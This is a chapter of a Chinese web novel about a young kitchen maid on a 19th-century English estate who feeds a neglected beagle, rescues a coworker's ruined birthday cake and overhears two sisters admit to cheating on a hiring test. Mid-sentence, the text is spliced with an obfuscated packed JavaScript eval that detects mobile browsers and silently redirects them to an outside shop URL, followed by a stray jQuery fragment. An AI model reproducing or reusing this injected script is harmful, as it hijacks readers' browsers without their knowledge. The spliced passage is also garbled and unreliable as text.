奥利弗神情有些不确定地说道:
“我也不太清楚它怎么会变成这样,明明老伯爵在世的时候,它一直都挺精神的,皮毛也是油光水滑的。”
那就是后面照顾它的人没怎么上心了,才把这条猎犬养成这样。
玛蒂放轻脚步,小心地朝犬舍靠近。
狗站在阴影中,一动不动。
等玛蒂慢慢走近,才看清它的模样。
这是一只成年雄性的英国比格犬,体型修长,毛色原本应是干净的白底带棕斑,如今却被泥巴与油污糊得发灰,左眼上方有一道狰狞的伤疤,从眼角斜斜划过脸颊。
它被粗重的铁链锁着,脖子上挂着一个已经锈迹斑斑的狗牌。
玛蒂眯着眼凑近看了看,上面歪歪扭扭刻着一个名字:
“Doge.”
玛蒂以为自己看错了,再三确认后试探着喊了一声:
“道格?”
本以为这名字太离谱,狗不会有反应,没想到这只比格犬却抬起头,耳朵竖了竖,对着她“wer wer”叫了两声。
竟然真的有人给自己的狗起这种名字!
玛蒂对老伯爵的取名方式表示不理解但接受,她对奥利弗道:
“现在我知道狗的品种和大小了,该回去煮狗粮了。”
玛蒂刚转身,身后忽然传来一阵铁链哗啦作响。
她回过头,只见那只比格犬猛地向前一扑,链子被绷得笔直,勒出一道血红的印子。
“天啊!”
奥利弗被吓得一个激灵,往后退了一步,将玛蒂护至身前,险些踉跄摔倒。
站稳后,他把手里的篮子往玛蒂怀里一塞:
“那个,我这边还有其他事要忙,钱稍后给你,我先走了。”
话没说完,他已经退到三步之外,随后飞快地跑了。
目送奥利弗离开后,玛蒂转头看向仍然焦躁不安的比格犬。
她注意到这只狗并没有露出咬人的攻击性,而是伏低身体,喉咙里发出低哑的呜咽,那双本该凶狠的眼睛里满是焦急与委屈,仿佛在哀求她别走。
玛蒂的视线在狗和手里的篮子之间来回游移,恍然大悟——这狗不会是以为她不打算给它吃东西吧?
她冲着道格露出一个安抚的笑容,指了指篮子,双手在胸前做了个交叉的手势,然后手掌朝下按下去,试图比划出“等一下”的意思。
没想到这只狗居然真的像听懂了一样,呜咽声停了下来,身子也缓缓趴了下去,一双眼睛依旧牢牢地盯着她。
“乖啊,等我回来。”
回到厨房后,玛蒂在脑中回忆着狗粮配方,把袖口往上挽了挽,将胡萝卜削皮切块,放锅里蒸熟,又将燕麦煮软,再同胡萝卜一起倒入锅中用小火慢炒,慢慢把多余水分蒸干。最后她又捣碎了一点面包皮混进去增加饱腹感。
正忙着搅拌时,菲奥娜推门进来,看到锅中的食物后开口问道:
“你这是在做狗食吗?”
玛蒂有些意外地看了她一眼,回答道:
“嗯,准备去喂老伯爵养的那只比格犬。”
“那你等等,我昨天打扫厨房的时候,还剩了一点鸡胸肉末,我把它放到冷库里面的盒子里了。”
菲奥娜说着出去了一趟,回来的时候手里多了一个小布袋。
她拎起袋子往锅里倒了一把鸡肉末。
“我本来今天要把这些扔掉的,没想到还能在这派上用场。”
玛蒂眼前一亮,笑着说:
“谢谢你,正好我还在发愁营养不够呢。”
说着她把鸡肉炒热,一并拌进狗粮里。
最终的成品看上去虽然颜色不算好看,但胜在干净,营养搭配也还不错。
玛蒂将食物装入桶中,又麻利地清洗完所有锅碗。
她一边擦手一边想着,等之后放假回姑妈家的时候,可以问问她们养狗的经验,说不定能得到点靠谱建议。
***
玛蒂提着食桶回到狗舍。
她将刚做好的食物倒入干净的盆中,蹲下身,摇了摇一旁的铃铛说:
“吃吧。”
道格起初还不太敢靠近,它先用鼻子轻轻嗅了嗅,确认这是真的能吃的东西后,才埋头狼吞虎咽起来。
不过几分钟,道格便把整碗吃得干干净净。
吃完后,它抬起前爪朝玛蒂伸去,像是在请求握手。
玛蒂哭笑不得地和它碰了碰爪子:
“你这都是和谁学的,也太聪明了。”
她又试着说:“坐下。”
道格竟然真的听话地坐下了,尾巴扫动着,小心翼翼地盯着她,等她下一步的命令。
作为一只比格犬,道格居然这么乖巧,看来她运气不错,开到了善良型的比格。
“真棒!”玛蒂大着胆子用手指戳了戳道格脸上的疤痕,心里忽然一阵发酸。
这么聪明懂事的狗,曾经肯定也是被人珍惜过、好好教导过的吧?
她低头看了眼自己瘦瘦的胳膊,脑海里忽然闪过一个有些莫名的念头:
原主毕竟只有14岁,而且还身处于十九世纪,如果她没有姑妈这门亲戚,又或者姑妈一家对她不好,阻止她寻找工作自立,强留在家里干活,那现在的自己或许也会像它一样,每天饿着肚子,过着看人脸色的生活。
想到这,玛蒂轻轻叹了口气,对面前的比格犬低声道:
“以后我会照顾好你的。”
***
喂完狗回来后,天色已近中午,玛蒂收拾好心情忙碌起来,午餐结束后好不容易可以休息一会,她刚打了个盹,又被喊起来准备晚餐。
玛蒂感觉自己一整天都像拧紧的发条般转个不停,等到楼上伯爵一家的晚餐做完,她们还要给管家与仆人准备晚饭。
按照厨房的轮值安排,她们四人每天轮流做饭、打杂与收尾。
今天给仆人做晚饭的是多莉和菲奥娜,留下玛蒂与艾琳打扫厨房。
玛蒂正拿着湿布擦着灶台,厨房门“砰”地一声被推开,一个女人气冲冲地走进来,“啪”地一声将手里的东西砸在了桌上。
玛蒂一抬头,认出是早上给她们发工作服的裁缝罗丝。
“这就是我拜托你帮我做的生日蛋糕?”
罗丝盯着艾琳,冷着脸指了指桌上的东西。
“这玩意中间都没烤熟,你是打算让我拉着肚子庆生?”
艾琳在旁边讪讪地缩着脖子,小声辩解:
“我不是故意的,那个时候我正好在做下午茶点心,所以没来得及看烤箱……”
“那你为什么不早说,现在让我怎么办!?”
艾琳自知理亏:“那……要不我明天再给你补一个?”
“明天补又有什么用?”罗丝情绪明显更激动了,“我的生日就在今天,补个鬼啊!”
两人正僵持着,厨房外忽然传来一声呼唤,声音不大,却恰好打断了两人之间的剑拔弩张。
艾琳像是听见救命稻草般松了口气:
“抱歉,你的蛋糕我一定会补偿的。现在我姐姐找我,估计是有什么急事,我得先过去一趟!”
说完她便赶紧丢下抹布逃也似的走了,只留下玛蒂和罗丝两人在厨房里面面相觑。
玛蒂看了看桌上那个外焦内生的蛋糕,又瞥了眼罗丝微微泛红的眼圈,主动开口道:
“我试试能不能补救一下。”
“现在都这个点了,你还能怎么救?”
罗丝叹了口气,伸手准备把蛋糕拿回去。
“先别急。”玛蒂拦住她,抽出一把长刀,将蛋糕一切两半。
她低头仔细查看,松了口气:“
“还好,就中间这小一块没熟。”
今晚伯爵一家吃的甜品是巧克力慕斯蛋糕和水果糖浆馅饼,厨房里还有一些剩下的食材边角料。
于是玛蒂三两下将没熟的部分挖空,接着问道:
“你喜欢什么水果?”
“草莓。”罗丝有些懵,但还是答了。
玛蒂点点头,拿了几颗草莓洗净切丁,把草莓丁和奶油填进蛋糕中间,又趁着融化的巧克力酱还没完全凝固,用剩下的巧克力酱抹在蛋糕表面,覆盖掉了切痕。
最后她拿起调料架最前排的玻璃罐,往蛋糕上撒了点糖粉,顺手扯了几片薄荷叶做装饰。
“好了。”她将盘子转向罗丝。
这块没烤熟的生日蛋糕经过玛蒂的一番紧急抢救后,摇身一变从普通的奶油蛋糕变成了巧克力水果夹心蛋糕,在灯烛下多了几分精致甜美,比原来的模样看起来还更诱人。
罗丝一时没说话,过了几秒后才从口袋里掏出几枚硬币:
“这蛋糕修得太好了,我得给你点工费。”
玛蒂连忙摆手:“不必了。不过你这边方便帮我一个小忙吗?”
“什么忙?”
“我那身工作服袖子太长了点,你能不能帮我裁剪一下?”
“这事简单。”罗丝爽快地答应下来,“你晚上把衣服送到我房间去就行。”
玛蒂笑了笑:“那就先谢谢你了。”
“这有什么好谢的,说起来应该是我谢你才对。”
罗丝小心翼翼地将
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17717534|208543||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
蛋糕托起,抱在怀里喜滋滋地离开了厨房。
刚转过走廊拐角,罗丝就迎面碰上了刚从厨房离开的艾琳,在她身旁还站着一个穿着体面的女仆。
罗丝一眼就认出来,这是老夫人身边的一等女仆,杰西卡。
“罗丝。”杰西卡先开口,语气十分客气,“我听我妹妹说她给你做的生日蛋糕出了点岔子,对此我真的感到十分抱歉,不过艾琳她绝对不是故意的,她今天被厨房差使得团团转,一时顾不上火候才出了这种纰漏。”
“岔子?”罗丝冷笑了一声,目光落在艾琳身上,“你倒是会圆场。但你妹妹既然知道自己手艺不行,就不该逞能接这个活。”
说完,她把怀里的蛋糕微微抬高,借着走廊的烛光展示给两人看了看:
“瞧见没?厨房那个小帮工随手一救,就能把一个烂摊子变成像样的夹心巧克力蛋糕。艾琳要是有这本事,我还用跑回厨房和她吵一架?”
艾琳的脸顿时涨红,嘴唇一动,似乎想为自己辩解。
杰西卡不动声色地抬手,像是在替妹妹整理衣领,实则趁机把人往身后一拽,打断了艾琳的冲动。
她看都没看艾琳一眼,只盯着罗丝,仍旧挂着滴水不漏的笑容:
“罗丝,你说得对。今天确实是我们让你受委屈了。这样吧,我给你五先令,就当是赔礼道歉,弥补你今天的损失。”
五先令不是个小数目,是厨房帮工一周的薪水了,一磅重的普通奶油蛋糕也不过才十几二十便士,杰西卡自认为这个赔偿很有诚意了。不料下一秒她却听罗丝道:
“谁稀罕这点钱。”
罗丝懒得再和她们多费口舌,只丢下一句:
“下回别再来找我,也别再随便接自己做不来的活。”
说完,她转身走了。
杰西卡停在原地片刻,等罗丝的脚步声彻底远了,才慢慢侧过头,目光落在妹妹脸上:
“你跟我过来。”
***
收拾完厨房后,玛蒂回屋取了衣服,依约送去了罗丝的房间。
对方接过衣服后叮嘱她早点休息,明天早上再来取衣服,玛蒂便道了声晚安离开了罗丝的房间。
回去的时间已经很晚了,这个点庄园走廊里没有人在走动了。
返程路上,玛蒂走到楼梯拐角处时,忽然听见走廊另一头传来低低的斥责声。
她听出其中一道是艾琳的声音,另一道声音虽陌生,听起来却和刚才喊艾琳出去的那道声音极为相似。
“你知不知道我把你塞进来有多难?当初要不是我想办法把考题换了让你在家一直练习,就凭你自己根本就进不来厨房!我叮嘱过你多少次了,别在没学好厨艺前轻举妄动,你倒好,上赶着暴露自己的厨艺水平。”
艾琳声音有些不服:“我也不是故意的,姐姐你也知道罗丝她朋友多,做的衣服又得伯爵老夫人喜欢。我想着要是能和她搞好关系,说不定以后能帮你挤掉南希,成为伯爵老夫人的贴身女仆呢。”
伯爵老夫人身边的贴身女仆塔丽娜年纪已经很大了。作为老夫人最信任的两名一等女仆,杰西卡和南希一直被视为最有可能接替塔丽娜位置的人选,也因此,两人之间的明争暗斗从未停过。
“你少给我打这些歪主意!”杰西卡的声音压得更低。
她开始有些后悔把妹妹塞进庄园工作了。
艾琳什么性子,她这个做姐姐的太清楚不过了。
做事冲动莽撞,还心高气傲,哪哪都不省心。
她之所以花费心思把妹妹安排进厨房,还不是因为梅布尔太太是整个庄园里最和气、最好说话的管事,并且厨房里的其他资深女仆也都走了,只要艾琳肯安分守己,好好学厨艺,怎么着也能混口饭吃。
况且她这位妹妹当初还信誓旦旦地向她保证,说自己的厨艺虽算不上顶尖,但也绝不至于拖后腿。
可如今杰西卡却忍不住要怀疑这话的水分了。
若不是正好赶上伯爵婚礼急需补充人手,艾琳恐怕更适合留在妈妈身边,再多学两年手艺,好好磨一磨浮躁的性子。
看来她得找个机会,好好教导艾琳在庄园里该怎么为人处事,别到时候还没学到本事,先把人全得罪光了,最关键的是她一旦出事了还会牵连到自己。
想到这里,杰西卡只觉一阵头疼。
她抬手按了按太阳穴,恨铁不成钢地说道:
“这是我的事,不用你瞎操心。你把事情搞砸了,只会坏了我的计划——”
就在这时,楼梯间“咯吱”一响。
两人倏地住了嘴,猛地朝楼梯拐角望去——